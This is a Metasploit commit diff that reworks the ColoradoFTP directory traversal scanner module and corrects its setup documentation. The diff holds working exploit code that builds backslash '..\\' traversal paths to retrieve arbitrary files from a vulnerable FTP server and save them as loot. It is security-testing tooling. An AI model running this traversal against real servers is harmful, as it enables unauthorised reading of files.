Skip to content

Commit eb572a3

Browse files
committed
Land rapid7#8632, colorado ftp fixes
2 parents a27cfea + 7175468 commit eb572a3

File tree

2 files changed

+24
-43
lines changed

2 files changed

+24
-43
lines changed

documentation/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ While the application is based in java, I was only able to get it to exploit aga
66

77
[official site](http://cftp.coldcore.com/files/coloradoftp-prime-8.zip?site=cft1&rv=19.1&nc=1) or [github backup](https://github.com/h00die/MSF-Testing-Scripts/raw/master/coloradoftp-prime-8.zip)
88

9-
When installing, you must edit conf/beans.xml line 182 "localIp" to put in your IP or else `pasv` won't work.
9+
When installing, you must edit conf/beans.xml line 183 "remoteIp" to put in your IP or else `pasv` won't work.
1010

1111
## Verification Steps
1212

modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb

Lines changed: 23 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,8 @@ def initialize(info = {})
2828
'References' =>
2929
[
3030
[ 'EDB', '40231'],
31-
[ 'URL', 'https://bitbucket.org/nolife/coloradoftp/commits/16a60c4a74ef477cd8c16ca82442eaab2fbe8c86']
31+
[ 'URL', 'https://bitbucket.org/nolife/coloradoftp/commits/16a60c4a74ef477cd8c16ca82442eaab2fbe8c86'],
32+
[ 'URL', 'http://www.securityfocus.com/archive/1/539186']
3233
],
3334
'DisclosureDate' => 'Aug 11 2016'
3435
))
@@ -47,7 +48,7 @@ def check_host(ip)
4748
begin
4849
connect
4950
if /Welcome to ColoradoFTP - the open source FTP server \(www\.coldcore\.com\)/i === banner
50-
return Exploit::CheckCode::Appears
51+
return Exploit::CheckCode::Detected
5152
end
5253
ensure
5354
disconnect
@@ -59,51 +60,31 @@ def check_host(ip)
5960
def run_host(ip)
6061
begin
6162
connect_login
62-
sock = data_connect
63+
file_path = datastore['PATH']
64+
file = ::File.basename(file_path)
6365

64-
# additional check per https://github.com/bwatters-r7/metasploit-framework/blob/b44568dd85759a1aa2160a9d41397f2edc30d16f/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
65-
# and #7582
66-
if sock.nil?
67-
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
68-
print_status(error_msg)
69-
elog(error_msg)
66+
# make RETR request and store server response message...
67+
retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"
68+
res = send_cmd_data( ['get', retr_cmd], '')
69+
unless res.nil?
70+
print_status(res[0])
71+
response_data = res[1]
7072
else
71-
file_path = datastore['PATH']
72-
file = ::File.basename(file_path)
73-
74-
# make RETR request and store server response message...
75-
retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"
76-
res = send_cmd( ["retr", retr_cmd], true)
77-
print_status(res)
78-
79-
# dont assume theres still a sock to read from. Per #7582
80-
if sock.nil?
81-
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
82-
print_status(error_msg)
83-
elog(error_msg)
84-
return
85-
else
86-
# read the file data from the socket that we opened
87-
response_data = sock.read(1024)
88-
end
89-
90-
unless response_data
91-
print_error("#{file} not found")
92-
return
93-
end
94-
95-
if response_data.length == 0
96-
print_status("File (#{file_path})from #{peer} is empty...")
97-
return
98-
end
73+
print_error("#{file} not found or invalid login")
74+
return
75+
end
9976

100-
# store file data to loot
101-
loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)
102-
vprint_status("Data returned:\n")
103-
vprint_line(response_data)
104-
print_good("Stored #{file_path} to #{loot_file}")
77+
if response_data.length == 0
78+
print_status("File (#{file_path})from #{peer} is empty...")
79+
return
10580
end
10681

82+
# store file data to loot
83+
loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)
84+
vprint_status("Data returned:\n")
85+
vprint_line(response_data)
86+
print_good("Stored #{file_path} to #{loot_file}")
87+
10788
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
10889
vprint_error(e.message)
10990
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")

0 commit comments

Comments
 (0)